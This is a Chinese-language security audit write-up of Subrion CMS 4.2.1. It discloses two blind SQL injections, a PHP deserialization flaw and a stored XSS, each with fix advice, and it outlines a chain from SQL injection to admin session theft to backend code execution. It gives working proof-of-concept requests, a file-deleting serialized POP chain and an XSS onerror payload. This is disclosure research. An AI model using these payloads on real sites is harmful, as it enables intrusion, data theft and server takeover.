Author:flystart@MS509
Mail:root@flystart.org

0x01 Introduction

Subrion cms 是一款国外的开源cms,使用php 开发,最新版本是4.2.1,目前正在开发的4.2.2 版本尚未发布。
【官    网】https://subrion.org/
【下载地址】https://subrion.org/download/
【测试环境】php 5.6.27、mysql5.0.11、apache2.2
【测试版本】subrion cms 4.2.1 and subrion dev

1

0x02 Founded Vulnerabilities

漏洞类型 数量 级别 利用条件
Blind SQL注入 2 注册用户
OI(反序列化) 1 注册用户
存储型XSS 1 注册用户

0x03 Fundamental Analysis

SQL注入漏洞一

\subrion\front\actions.php line 34

$field = isset ($_POST['field']) ? iaSanitize::sql($_POST['field']) : null ;

变量POST['field']使用类函数iaScanitize::sql进行处理,最终调用mysqli_real_escape_string 进行转义,由于这个函数只能转义几个特殊字符,对于没有单引号的SQL注入并不能防御,因此这个参数可以无引号SQL注入漏洞利用。


\subrion\includes\classes\ia.core.sanitize.php


\subrion\includes\classes\ia.core.mysqli.php


Call stack :

Poc:

该 cms 对于post请求做了简单的 csrf 防御,每个请求都会验证 cstf token 和 referer,
登录状态下cstf token 可以通过查看用户profile页面获取,referer即使目标网站url。

最终poc如下:


Sqlmap 利用:

1
2
Post data:
__st=9da21aa3800afdb4c743c93bf0714ae6&item=blog_entries&itemid=2&field=1,2 from (select 1)u where 1=1*#&path=t/tdest/|xx.png&action=edit-picture-title

修复建议

对POST[‘field’]做合法性校验,return preg_replace(‘#[^a-z_0-9]#i’, ‘’, $_POST[‘field’]);

SQL注入漏洞二

\subrion\front\actions.php 106 line
用户提交post数据传入函数deleteUploadedFile

\subrion\includes\classes\ia.core.field.php line 1322

public function deleteUploadedFile($fieldName, $itemName, $itemId, $fileName = null , $checkOwnership = false )
以上函数的第二个参数$itemName来自$_POST[item],该参数没有经过任何转义过滤处理最终带入数据库查询从而造成SQL注入。

1
2
3
Post request:
Url:http://test.com/subrion/actions.json?
Data:__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&item=blog_entries` where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file

Call stack:
ia.core.mysqli.php:256, iaDb->getRow()
ia.core.mysqli.php:248, iaDb->_get()
ia.core.mysqli.php:535, iaDb->row()
ia.core.field.php:1333, iaField->deleteUploadedFile()
actions.php:106, require()
ia.core.php:355, iaCore->_executeModule()
ia.core.php:149, iaCore->init()
index.php:123, {main}()

Poc:

1
2
Url:http://test.com/subrion/actions.json?
Data:__st=dlYrnTGgjTtXRCcC28MimIkAhzLynNyqcBMukt0h&item=blog_entries` where 1=2 xor if(2>1,sleep(5),0)-- -&itemid=2&field=image&file=t/tdest/|xx.png&action=delete-file

修复建议

对POST['item']做安全性合法校验,return preg_replace('#[^a-z_0-9]#i', '', $_POST['field']);

反序列化漏洞

在分析SQL注入漏洞一的时候我们知晓,变量$tableName = $item=$_POST[item]=table,
变量$field = $_POST[field]=column,而$itemValue的值是根据用户提供的表和列查询获取的值,既然如此只要某个表里面的内容我们能够控制,unserialize反序列化得内容则可以控制。
这个条件很容易满足,比如用户信息表sbr412_members,该cms在查询的时候会对表名自动格式化添加前缀和后缀,比如提供表名为 member,查询的时候自动补全为sbr421_members。
在代码执行到unserialize 之前,有个条件判断:

1
2
if (iaUsers::hasIdentity() && $memberId == iaUsers::getIdentity()->id &&$itemValue)
->unserialize()
  • 当用户登录 iaUsers::hasIdentity() return ture
  • $memberId == iaUsers::getIdentity()->id <=>$_POST[itemid]=userid
  • $itemValue not null <=>ture
    subrion\front\actions.php line 53

    根据以上分析,只要userid 知晓那么就可以使if 条件为真从而执行 unserialize($itemValue)。
    userid 格式是number数字,根据用户注册时间,从1开始编号,通过 $_POST[itemid]提供,既然如此userid就可以通过爆破获取,当 userid =myuserid,返回的结果会和之前不同。

1.Login in user
2.Set profile biography a:1:{s:1:”d”;a:1:{s:2:”1’”;i:3;}}

  1. Post request:

Url:http://test.com/subrion/actions.json
Data:action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=userid&path=tmp

对itemid参数进行爆破,当 itemid !=myuserid,response invalid parameters.

当itemid==userid =2,respnose {"error":false}
Call stack:


对于反序列化的利用需要寻找POP Chain,通过审计发现smarty存在一个任意文件删除的利用链。


运行代码生成Delete file OBI chain:

1
2
O:24:"Smarty_Internal_Template":6:{s:8:"cache_id";N;s:10:"compile_id";N;s:7:"caching";N;s:14:"cache_lifetime";N;s:6:"smarty";O:6:"Smarty":1:{s:13:"cache_locking";s:4:"good";}s:6:"cached";O:22:"Smarty_Template_Cached":8:{s:8:"filepath";b:0;s:6:"exists";b:0;s:5:"valid";b:0;s:9:"processed";b:0;s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}s:8:"cache_id";N;s:7:"lock_id
";s:24:"C:\windows\Temp\test.txt";s:9:"is_locked";b:1;}}


修改profile Biography 为OBI chain ,利用正确的userid重新发送post请求

1
2
Url:http://test.com/subrion/actions.json
Data:action=edit-picture-title&\_\_st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=2&path=tmp

发现OBI chain 并未生效,最后调试审计代码发现,当请求类型为REQUEST_HTML,smary相关的类才会被加载,而该漏洞利用请求类型刚好是json,如此只能利用php 内置类进行反序列化利用。关于php反序列化利用内置类的相关详情请参阅网络其他文章。

Poc:

1
2
3
Send Post :
Url:http://test.com/subrion/actions.json
Data:action=edit-picture-title&__st=LlapAIYtD9R49sNj1Iy1FGDqihXd5ns5PmUneBme&item=member&field=biography&itemid=2&path=tmp

修复建议

序列化之前验证序列化字段是否在白名单之中。

存储型XSS

修改博文操作的时候,代码层面只对博客字段类型为txet 和textarea 的内容做了XSS防御处理,而字段image['file']参数类型为image,并未进行xss 转义过滤处理导致XSS漏洞。

Poc:

整个触发过程:

添加blog-&gt;upload image-&gt;edit blog-&gt;修改image.file 为"x" onerror="alert(/xss/)

浏览博客触发XSS http://test.com/subrion-develop/blog/

修复建议

对image['file']调用safeHTML进行处理。

0x04 Vulnerability Exploit:

SQLInject =>RCE

审计代码并未发现前台代码执行漏洞,不过后台发现两种执行代码的方法,结合前文SQL注入漏洞获取管理员登录时的session_id,然后登录后台getshell。
表 online 保存用户登录时的session_id和用户名等其他信息。

获取管理员 session_id

利用管理员session_id登录后台

后台GetShell 方法一:

在Blocks模块修改Refine Search的值,添加我们要执行的代码,前台搜索内容行为即可触发执行我们添加的代码。

后台GetShell 方法二:

后台content fields模块用来设置一些字段的相关属性动作,其中有个extra_actions属性用来设置某字段值改变时的动作行为,用来校验字段值,比如注册邮件的时候,就会执行mail字段 extra_actions属性的代码来校验邮箱的合法性。

我们可以设置用户fullname字段的extra_actions值为我们代码,前台修改用户profile保存即可触发代码执行。

修改更新用户profile fullname

两次代码成功执行的结果